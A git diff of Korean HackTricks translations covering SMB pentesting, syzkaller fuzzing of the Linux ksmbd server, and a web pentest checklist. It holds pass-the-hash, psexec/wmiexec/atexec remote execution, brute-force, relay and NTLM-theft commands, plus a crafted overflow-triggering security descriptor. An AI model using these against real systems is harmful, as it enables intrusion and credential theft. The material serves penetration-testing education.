| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있게 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 적용합니까? |
| `browseable = yes` | 현재 공유에서 사용 가능한 공유를 나열하도록 허용합니까? |
| `read only = no` | 파일 생성 및 수정을 금지합니까? |
| `writable = yes` | 사용자가 파일을 생성하고 수정하도록 허용합니까? |
| `guest ok = yes` | 비밀번호 없이 서비스에 연결하는 것을 허용합니까? |
| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? |
| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 부여되어야 합니까? |
| `directory mask = 0777` | 새로 생성된 디렉터리에 어떤 권한이 부여되어야 합니까? |
| `logon script = script.sh` | 사용자 로그인 시 어떤 스크립트가 실행되어야 합니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트를 실행해야 합니까? |
| `magic output = script.out` | magic script의 출력 어디에 저장되어야 합니까? |
| `magic script = script.sh` | 스크립트가 종료될 때 어떤 스크립트가 실행되어야 합니까? |
| `magic output = script.out` | magic script의 출력 어디에 저장되어야 합니까? |
명령 `smbstatus`**서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
명령 `smbstatus`**서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다.
## Kerberos를 사용한 인증
도구 **smbclient**와 **rpcclient**를 사용하여 **Kerberos**에 **인증**할 수 있습니다:
도구 **smbclient**와 **rpcclient**를 사용하여 **kerberos**에 **인증**할 수 있습니다:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -357,7 +356,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec는 **mmcexec, smbexec, atexec, wmiexec** 중 어느 것을 **악용하여** 명령을 실행할 수 있으며, **기본** 방법은 **wmiexec**입니다. 사용할 옵션은 `--exec-method` 파라미터로 지정할 수 있습니다:
crackmapexec는 명령을 **악용하여** **mmcexec, smbexec, atexec, wmiexec** 중 어떤 것을 사용할 수 있으며, **wmiexec**가 **기본** 방법입니다. 사용할 옵션은 `--exec-method` 파라미터로 지정할 수 있습니다:
```bash
apt-get install crackmapexec
@ -381,8 +380,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
두 옵션 모두 대상 시스템**새 서비스를 생성**(SMB를 통해 _\pipe\svcctl_ 사용)하고 이를 이용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ 공유에 **upload**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수(arguments)에 payload를 넣습니다 --**file-less technique**--).\
**자세한 정보**: [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 및 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
두 옵션은 피해자 머신**새 서비스를 생성**(SMB를 통해 _\pipe\svcctl_ 사용)하고 이를 이용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ 공유에 **업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**file-less technique-**-).\
**추가 정보**: [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
#If no password is provided, it will be prompted
@ -391,11 +390,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**매개변수**`-k` 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
**parameter**`-k`을(를) 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**로 은밀하게 명령 셸을 실행합니다.\
디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**\ 사용하여 커맨드 셸을 은밀하게 실행합니다.
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
#If no password is provided, it will be prompted
@ -403,7 +402,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**parameter**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다.
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -412,7 +411,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../../windows-hardening/lateral-movement/atexec.md)
작업 스케줄러를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\
Task Scheduler를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\
**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다.
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
@ -422,7 +421,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
### ksmbd 공격 표면 및 SMB2/SMB3 protocol fuzzing (syzkaller)
### ksmbd 공격 표면 및 SMB2/SMB3 프로토콜 퍼징 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
@ -430,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md
## **Bruteforce users credentials**
**권장하지 않습니다. 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다.**
**권장하지 않습니다. 허용된 최대 시도 횟수를 초과하면 계정이 차단될 수 있습니다**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMB relay attack
이 공격은 Responder 툴킷을 사용해 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **target machine**으로 **relays**합니다. 인증 **session**이 성공하면 자동으로 **system** **shell**로 진입합니다.\
[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
이 공격은 Responder 툴킷을 사용하여 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **relays** 하여 **target machine**으로 전달합니다. 인증 **session is successful** 하면 자동으로 **system** **shell**에 들어가게 됩니다.
[**이 공격에 대한 자세한 정보는 여기를 참조하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"`
Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 컨텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"`
이 동작은 다음 함수들에서 발생합니다:
@ -451,21 +450,21 @@ Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 콘텐츠에
- URLOpenStream
- URLOpenBlockingStream
일부 브라우저 및 도구(예: Skype)에서 사용됩니다.
함수들은 일부 브라우저 및 도구(예: Skype)에서 사용됩니다.
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (892).png>)
## NTLM Theft
SMB Trapping과 유사하게, target system에 악성 파일을 심는 것(예: SMB를 통해)은 SMB 인증 시도를 유발할 수 있으며, Responder 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그 해시는 오프라인에서 크랙하거나 [SMB relay attack](#smb-relay-attack)에 사용할 수 있습니다.
SMB Trapping과 유사하게, 예를 들어 SMB를 통해 target system에 악성 파일을 심는 것은 SMB 인증 시도를 유발할 수 있으며, Responder 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그런 해시는 오프라인에서 크랙되거나 [SMB relay attack](#smb-relay-attack)에 사용될 수 있습니다.
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Automatic Commands
## HackTricks 자동 명령
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.

View File

@ -1,55 +1,55 @@
# ksmbd 공격 표면 SMB2/SMB3 프로토콜 퍼징 (syzkaller)
# ksmbd 공격 표면 & SMB2/SMB3 프로토콜 퍼징 (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## 개요
문서는 syzkaller를 사용해 Linux in-kernel SMB 서버(ksmbd)를 테스트하고 퍼징하는 실용 기술들을 추상화해서 설명합니다. 구성 변경을 통해 프로토콜 공격 표면을 확장하고, SMB2 연산을 체이닝할 수 있는 상태 유지 하니스(stateful harness)를 구축하며, 문법적으로 유효한 PDU를 생성하고, 약하게 커버되는 코드 경로에 변형(mutation)을 편향시켜 유효한 버그를 찾는 방법, 그리고 focus_areas와 ANYBLOB 같은 syzkaller 기능을 활용하는 방법에 중점을 둡니다. 원래 연구는 특정 CVE들을 열거하지만, 여기서는 재사용 가능한 방법론과 자신 환경에 맞게 적용할 수 있는 구체적 스니펫에 중점을 둡니다.
페이지는 syzkaller를 사용해 Linux 인커널 SMB 서버(ksmbd)를 실행하고 퍼징하기 위한 실용 기법들을 추상화합니다. 구성으로 프로토콜 공격 표면을 확장하고, SMB2 연산을 체이닝할 수 있는 상태 유지 하니스(stateful harness)를 구축하며, 문법에 맞는 PDU를 생성하고, 약하게 커버되는 코드 경로로 변형을 편향시키며, focus_areas와 ANYBLOB 같은 syzkaller 기능을 활용하는 데 중점을 둡니다. 원본 연구는 특정 CVE들을 열거하지만, 여기서는 재사용 가능한 방법론과 자신의 환경에 맞게 적용할 수 있는 구체적인 스니펫을 강조합니다.
대상 범위: SMB2/SMB3 over TCP. Kerberos and RDMA는 하니스 단순화를 위해 의도적으로 범위에서 제외합니다.
대상 범위: SMB2/SMB3 over TCP. Kerberos RDMA는 하니스 단순화를 위해 의도적으로 범위에서 제외합니다.
---
## 구성으로 ksmbd 공격 표면 확장
기본적으로 최소 구성의 ksmbd는 서버의 많은 부분을 테스트하지 않습니다. 추가 파서/핸들러를 통과하고 더 깊은 코드 경로에 도달하기 위해 다음 기능들을 활성화하세요:
기본적인 ksmbd 설정은 서버의 많은 부분을 테스트하지 못한 채로 둡니다. 다음 기능들을 활성화하여 추가 파서/핸들러를 통과시키고 더 깊은 코드 경로에 도달하세요:
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
- Oplocks (on by default)
- Oplocks (기본적으로 활성화됨)
- VFS objects
기능들을 활성화하면 다음과 같은 모듈에서 실행이 증가합니다:
- smb2pdu.c (command parsing/dispatch)
- ndr.c (NDR encode/decode)
- oplock.c (oplock request/break)
- smbacl.c (ACL parsing/enforcement)
- vfs.c (VFS ops)
- vfs_cache.c (lookup cache)
이들을 활성화하면 다음과 같은 모듈에서 실행이 증가합니다:
- smb2pdu.c (명령 파싱/디스패치)
- ndr.c (NDR 인코드/디코드)
- oplock.c (oplock 요청/중단)
- smbacl.c (ACL 파싱/강제)
- vfs.c (VFS 연산)
- vfs_cache.c (조회 캐시)
참고
- 정확한 옵션은 배포판의 ksmbd userspace (ksmbd-tools)에 따라 달라집니다. /etc/ksmbd/ksmbd.conf 및 per-share 섹션을 검토하여 durable handles, leases, oplocks 및 VFS objects를 활성화하세요.
- Multi-channel과 durable handles는 상태 머신과 수명을 변경하여, 동시성 상황에서 UAF/refcount/OOB 버그를 자주 드러냅니다.
- 정확한 옵션은 배포판의 ksmbd 사용자 공간(ksmbd-tools)에 따라 다릅니다. /etc/ksmbd/ksmbd.conf 및 각 share 섹션을 검토하여 durable handles, leases, oplocks 및 VFS objects를 활성화하세요.
- Multi-channel과 durable handles는 상태 머신과 수명에 영향을 주며, 동시성 하에서 UAF/refcount/OOB 버그를 자주 드러냅니다.
---
## 퍼징을 위한 인증 및 속도 제한 조정
SMB3는 유효한 세션이 필요합니다. 하니스에 Kerberos를 구현하면 복잡성이 증가하므로 퍼징에는 NTLM/guest를 선호하세요:
SMB3는 유효한 세션이 필요합니다. 하니스에 Kerberos를 구현하면 복잡성이 증가하므로 퍼징에는 NTLM/guest를 권장합니다:
- guest 접근을 허용하고 map to guest = bad user로 설정하여 알려지지 않은 사용자가 GUEST로 폴백되도록 하세요.
- NTLMv2를 허용하세요(비활성화되어 있다면 정책을 패치). 이렇게 하면 핸드셰이크를 단순하게 유지하면서 SMB3 코드 경로를 실행할 수 있습니다.
- 실험 시 엄격한 credit 검사를 패치하세요(post-hardening for CVE-2024-50285로 인해 동시-op 크레디팅이 더 엄격해졌습니다). 그렇지 않으면 속도 제한으로 인해 퍼징 중인 시퀀스가 너무 일찍 거부될 수 있습니다.
- 고처리량 퍼징 중 조기 거부를 피하기 위해 최대 연결 수를 늘리세요(예: 65536).
- guest 접근을 허용하고 map to guest = bad user로 설정해 알려지지 않은 사용자가 GUEST로 폴백되도록 합니다.
- NTLMv2를 허용합니다(비활성화된 경우 정책을 패치). 이는 핸드셰이크를 단순하게 유지하면서 SMB3 코드 경로를 실행하게 합니다.
- 실험 중에는 엄격한 credit 검사(credit checks)를 패치해 제거하세요 (하드닝 이후 CVE-2024-50285로 동시 작업 크레딧 부여가 더 엄격해졌습니다). 그렇지 않으면 속도 제한이 퍼즈된 시퀀스를 너무 일찍 거부할 수 있습니다.
- 최대 연결 수를 증가시켜(예: 65536) 고처리량 퍼징 중 조기 거부를 피하세요.
주의: 이러한 완화는 퍼징을 용이하게 하기 위한 것뿐입니다. 프로덕션 환경에 이러한 설정을 적용하지 마세요.
주의: 이러한 완화는 퍼징을 용이하게 하기 위한 것뿐입니다. 운영 환경에 이 설정을 배포하지 마세요.
---
## 상태 유지 하니스: 리소스 추출 및 요청 체이닝
SMB는 상태 기반입니다: 많은 요청이 이전 응답에서 반환된 식별자(SessionId, TreeID, FileID 쌍 등)에 의존합니다. 하니스는 응답을 파싱하여 동일한 프로그램 내에서 ID를 재사용해야 심층 핸들러에 도달할 수 있습니다(예: smb2_create → smb2_ioctl → smb2_close).
SMB는 상태를 가집니다: 많은 요청이 이전 응답에서 반환된 식별자(SessionId, TreeID, FileID 쌍 등)에 의존합니다. 하니스는 응답을 파싱하고 동일한 프로그램 내에서 ID를 재사용하여 깊은 핸들러에 도달해야 합니다(예: smb2_create → smb2_ioctl → smb2_close).
응답 버퍼를 처리하고(+4B NetBIOS PDU 길이는 건너뜀) ID를 캐시하는 예시 스니펫:
예제 스니펫: 응답 버퍼( +4B NetBIOS PDU 길이 생략)를 처리하고 ID를 캐시하는 방법:
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@ -76,15 +76,15 @@ break;
}
```
- 인증/상태를 공유하는 fuzzer 프로세스 하나를 유지하세요: ksmbd의 전역/세션 테이블과 함께 더 나은 안정성 및 커버리지를 제공합니다. syzkaller는 ops를 async로 표시해 동시성을 주입하고 내부적으로 재실행합니다.
- Syzkaller의 실험적 기능 reset_acc_state는 전역 상태를 리셋할 수 있지만 심한 성능 저하를 초래할 수 있습니다. 대신 안정성을 우선하고 fuzzing에 집중하세요.
- 인증/상태를 공유하는 fuzzer 프로세스 하나를 유지하세요: ksmbds global/session tables에서 더 나은 안정성과 커버리지를 얻습니다. syzkaller는 ops를 async로 표시해 내부적으로 재실행하면서 여전히 동시성을 주입합니다.
- Syzkaller의 experimental reset_acc_state는 global state를 리셋할 수 있지만 심각한 성능 저하를 초래할 수 있습니다. 안정성을 우선하고 fuzzing에 집중하세요.
---
## 문법 기반 SMB2 생성 (유효한 PDUs)
Microsoft Open Specifications의 SMB2 구조를 fuzzer grammar로 변환해 generator가 구조적으로 유효한 PDU를 생성하도록 하세요. 이렇게 하면 PDUs가 체계적으로 디스패처와 IOCTL 핸들러에 도달합니다.
Microsoft Open Specifications의 SMB2 구조를 fuzzer grammar로 변환하여 generator가 구조적으로 유효한 PDUs를 생성하도록 하세요. 이렇게 하면 dispatchers와 IOCTL handlers에 체계적으로 도달합니다.
예시 (SMB2 IOCTL 요청):
예시 (SMB2 IOCTL request):
```
smb2_ioctl_req {
Header_Prefix SMB2Header_Prefix
@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
스타일은 올바른 structure sizes/offsets를 강제하며 blind mutation에 비해 커버리지를 획기적으로 향상시킵니다.
방식은 구조체 크기/오프셋을 올바르게 강제하며 블라인드 뮤테이션에 비해 커버리지를 극적으로 향상시킵니다.
---
## Directed Fuzzing With focus_areas
현재 커버리지가 약한 특정 함수/파일에 가중치를 두기 위해 syzkaller의 실험적 focus_areas를 사용하세요. 예시 JSON:
syzkallers 실험적 focus_areas를 사용하여 현재 커버리지가 약한 특정 함수/파일에 가중치를 더하세요. 예시 JSON:
```json
{
"focus_areas": [
@ -122,9 +122,9 @@ Output array[int8]
]
}
```
는 smbacl.c의 산술/overflow 경로를 유발하는 유효한 ACLs를 구성하는 데 도움이 됩니다. 예를 들어, 과도한 dacloffset을 가진 악의적인 Security Descriptor integer-overflow를 재현합니다.
것은 smbacl.c의 arithmetic/overflow 경로를 타깃하는 유효한 ACLs를 구성하는 데 도움이 됩니다. 예를 들어, 과도한 dacloffset을 가진 악의적인 Security Descriptor integer-overflow를 재현합니다.
재현기 빌더 (minimal Python):
재현기 빌더 (간단한 Python):
```python
def build_sd():
import struct
@ -143,8 +143,8 @@ return bytes(sd)
```
---
## ANYBLOB로 커버리지 정체 돌파
syzkaller의 anyTypes (ANYBLOB/ANYRES)는 복잡한 구조체를 형식에 구애받지 않고 변형 가능한 blob으로 합칠 수 있다. 공개된 SMB pcaps에서 새로운 corpus를 생성하고 페이로드를 syzkaller 프로그램으로 변환해 당신의 pseudo-syscall(예: syz_ksmbd_send_req)을 호출하게 하라:
## ANYBLOB로 커버리지 정체 돌파
syzkallers anyTypes (ANYBLOB/ANYRES)는 복잡한 구조를 일반적으로 mutate하는 blob으로 축소할 수 있게 해준다. 공개 SMB pcaps에서 새로운 corpus를 seed하고 payload를 syzkaller 프로그램으로 변환하여 당신의 pseudo-syscall(예: syz_ksmbd_send_req)을 호출하라:
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
이것은 탐색을 빠르게 시작시키며 UAFs(예: ksmbd_sessions_deregister) 를 즉시 유발할 수 있고 커버리지를 몇 퍼센트 정도 끌어올린다.
이것은 탐색을 빠르게 시작시키며 커버리지를 몇 퍼센트 끌어올리는 동시에 즉시 UAFs(예: ksmbd_sessions_deregister)를 유발할 수 있습니다.
---
## Sanitizers: KASAN을 넘어서
- KASAN은 힙 버그(UAF/OOB)를 탐지하는 주요 도구로 여전히 남아 있다.
- KCSAN은 이 타겟에서 종종 오탐이나 낮은 심각도의 데이터 레이스를 보고한다.
- UBSAN/KUBSAN은 배열 인덱스 의미론 때문에 KASAN이 놓치는 선언된 경계 오류를 잡아낼 수 있다. 예:
## Sanitizers: Beyond KASAN
- KASAN은 힙 버그(UAF/OOB)를 탐지하는 주요 수단으로 남아 있습니다.
- KCSAN은 이 대상에서 종종 오탐을 내거나 심각도가 낮은 데이터 레이스를 보고합니다.
- UBSAN/KUBSAN은 배열 인덱스 의미론 때문에 KASAN이 놓치는 선언된 경계 오류를 잡을 수 있습니다. 예:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
Setting num_subauth = 0을 설정하면 sub_auth[-1]에 대한 in-struct OOB read가 발생하며, UBSAN의 declared-bounds 검사에 의해 포착됩니다.
num_subauth = 0으로 설정하면 구조체 내부에서 sub_auth[-1]에 대한 OOB read가 발생하며, UBSAN의 declared-bounds 검사에 의해 포착됩니다.
---
## 처리량 및 병렬성 관련 메모
- 단일 fuzzer 프로세스(인증/상태 공유)는 ksmbd에서 훨씬 더 안정적이며, syzkaller의 internal async executor 덕분에 여전히 races/UAFs를 드러냅니다.
- 여러 VM을 사용하면 전체적으로 초당 수백 건의 SMB 명령을 여전히 처리할 수 있습니다. 함수 수준 커버리지는 fs/smb/server의 약 60%와 smb2pdu.c의 약 70% 정도 달성이 가능하지만, 이러한 지표는 상태 전환 커버리지를 충분히 반영하지 못합니다.
## 처리량 및 병렬성 주의사항
- 단일 fuzzer 프로세스 (shared auth/state)는 ksmbd에 대해 훨씬 더 안정적인 경향이 있으며, syzkaller의 내부 async executor 덕분에 여전히 races/UAFs를 드러냅니다.
- 여러 VM을 사용하면 전반적으로 초당 수백 건의 SMB 명령을 처리할 수 있습니다. 함수 수준의 커버리지는 fs/smb/server의 약 60% 및 smb2pdu.c의 약 70% 정도 달성할 수 있으나, 상태 전이(state-transition) 커버리지는 이러한 지표로는 과소평가됩니다.
---
## 실 체크리스트
## 실 체크리스트
- ksmbd에서 durable handles, leases, multi-channel, oplocks 및 VFS objects를 활성화하세요.
- guest 및 map-to-guest를 허용하고 NTLMv2를 수용하세요. fuzzer 안정성을 위해 credit limits를 제거하고 max connections를 늘리세요.
- SessionId/TreeID/FileIDs를 캐시하고 create → ioctl → close를 연쇄하는 stateful harness를 구축하세요.
- 구조적 유효성을 유지하기 위해 SMB2 PDUs에 대한 grammar를 사용하세요.
- focus_areas를 사용해 커버리지가 낮은 함수(예: smbacl.c의 smb_check_perm_dacl 경로)에 더 높은 비중을 부여하세요.
- 정체기를 깨기 위해 실제 pcaps에서 ANYBLOB로 시드하세요; 재사용을 위해 시드를 syz-db로 패키징하세요.
- KASAN + UBSAN로 실행하세요; UBSAN declared-bounds 리포트는 신중히 분류하세요.
- 약하게 커버된 함수에 가중치를 두기 위해 focus_areas를 사용하세요 (예: smbacl.c의 smb_check_perm_dacl 경로).
- 정체기를 깨기 위해 실제 pcaps의 ANYBLOB로 시드를 생성하고, 재사용을 위해 syz-db로 시드들을 패킹하세요.
- KASAN + UBSAN로 실행하세요; UBSAN의 declared-bounds 보고서는 신중히 분석하세요.
---
@ -214,6 +214,6 @@ Setting num_subauth = 0을 설정하면 sub_auth[-1]에 대한 in-struct OOB rea
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
- 배경 읽기: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mus syzkaller notes
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting 웹 방법론
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 다양한 유형의 **취약점**이 존재합니다.
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다.
**기본 포트:** 80 (HTTP), 443(HTTPS)
```bash
@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API 가이드
### Web API 안내
{{#ref}}
@ -26,29 +26,29 @@ web-api-pentesting.md
## 방법론 요약
> 이 방법론에서는 도메인(또는 서브도메인) 하나만 공격한다고 가정합니다. 따라서 이 방법론은 범위 내에서 웹 서버가 불명확한 각 발견된 도메인, 서브도메인 또는 IP에 대해 적용해야 합니다.
> 이 방법론에서는 도메인(또는 서브도메인) 하나만 공격한다고 가정합니다. 따라서 범위 내에서 발견된 도메인, 서브도메인 또는 웹 서버가 불확실한 IP에 대해 이 방법론을 적용해야 합니다.
- [ ] 우선 웹 서버에서 사용되는 **technologies**를 **identifying**하십시오. 기술을 성공적으로 식별할 수 있다면 테스트의 나머지 부분에서 염두에 둘 **tricks**을 찾아보세요.
- [ ] 해당 기술 버전에 알려진 **known vulnerability**가 있나요?
- [ ] 잘 알려진 **well known tech**를 사용하고 있나요? 더 많은 정보를 추출할 수 있는 **useful trick**이 있나요?
- [ ] 실행할 **specialised scanner**가 있나요(예: wpscan)?
- [ ] **general purposes scanners**를 실행하세요. 무엇을 찾을지, 흥미로운 정보를 찾을지 모릅니다.
- [ ] **initial checks**부터 시작하세요: **robots**, **sitemap**, **404** error 및 **SSL/TLS scan**(HTTPS 경우).
- [ ] 웹 페이지 **spidering**을 시작하세요: 사용 중인 모든 가능한 **files, folders** 및 **parameters being used**를 **find**할 시간입니다. 또한 **special findings**를 확인하세요.
- [ ] _brute-forcing 또는 spidering 중에 새로운 디렉터리가 발견되면 해당 디렉터리는 항상 spidered 되어야 합니다._
- [ ] **Directory Brute-Forcing**: 발견된 모든 폴더를 brute force하여 새로운 **files** 및 **directories**를 검색해 보세요.
- [ ] _brute-forcing 또는 spidering 중에 새로운 디렉터리가 발견되면 해당 디렉터리는 항상 Brute-Forced 되어야 합니다._
- [ ] **Backups checking**: 일반적인 백업 확장자를 붙여 **discovered files**의 **backups**를 찾을 수 있는지 테스트하세요.
- [ ] **Brute-Force parameters**: 숨겨진 **parameters**를 **find**해 보세요.
- [ ] 가능한 모든 **endpoints** 중 **user input**을 받는 항목을 **identified**한 후, 해당 항목과 관련된 모든 종류의 **vulnerabilities**를 검사하세요.
- [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] 먼저 **식별**할 것: 웹 서버가 사용하는 **기술(technologies)**을 파악하세요. 기술을 정확히 식별할 수 있다면 이후 테스트에서 유의할 **트릭(tricks)**을 찾아두세요.
- [ ] 해당 기술 버전에 알려진 **알려진 취약점(known vulnerability)**이 있나요?
- [ ] 잘 알려진 **기술(well known tech)**을 사용 중인가요? 정보를 더 얻기 위한 **유용한 기법(useful trick)**이 있나요?
- [ ] 실행할 **전문화된 스캐너(specialised scanner)**가 있나요(예: wpscan)?
- [ ] **일반 목적 스캐너(general purposes scanners)**를 실행하세요. 뭔가를 찾아낼지 또는 흥미로운 정보를 얻을지 모릅니다.
- [ ] **초기 점검(initial checks)**부터 시작하세요: **robots**, **sitemap**, **404** error 및 **SSL/TLS scan**(HTTPS 경우).
- [ ] 웹 페이지 **spidering**을 시작하세요: 사용 중인 가능한 모든 **파일(files)**, **폴더(folders)****파라미터(parameters being used)**를 **찾아(find)** 보세요. 또한 **특이사항(special findings)**을 점검하세요.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
- [ ] **Directory Brute-Forcing**: 발견된 모든 폴더를 brute force하여 새로운 **파일(files)** 및 **디렉터리(directories)**를 찾아보세요.
- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
- [ ] **백업 확인(Backups checking)**: 발견된 **파일(discovered files)**의 **백업(backups)**을 찾을 수 있는지 일반적인 백업 확장자를 붙여 테스트하세요.
- [ ] **Brute-Force parameters**: 숨겨진 **파라미터(hidden parameters)**를 찾아보세요.
- [ ] 모든 가능한 **엔드포인트(endpoints)** 중 **사용자 입력(user input)**을 받는 항목을 **식별(identified)**한 후, 관련된 모든 종류의 **취약점(vulnerabilities)**을 검사하세요.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## 서버 버전 (취약한가?)
## Server Version (Vulnerable?)
### Identify
### 식별
실행 중인 서버 **version**에 대해 알려진 **known vulnerabilities**가 있는지 확인하세요.\
응답의 **HTTP headers and cookies**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan**은 서버 버전을 식별할 수 있지만, 도구 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**도 유용할 수 있습니다:**
실행 중인 서버 **버전(version)**에 대한 **알려진 취약점(known vulnerabilities)**이 있는지 확인하세요.\
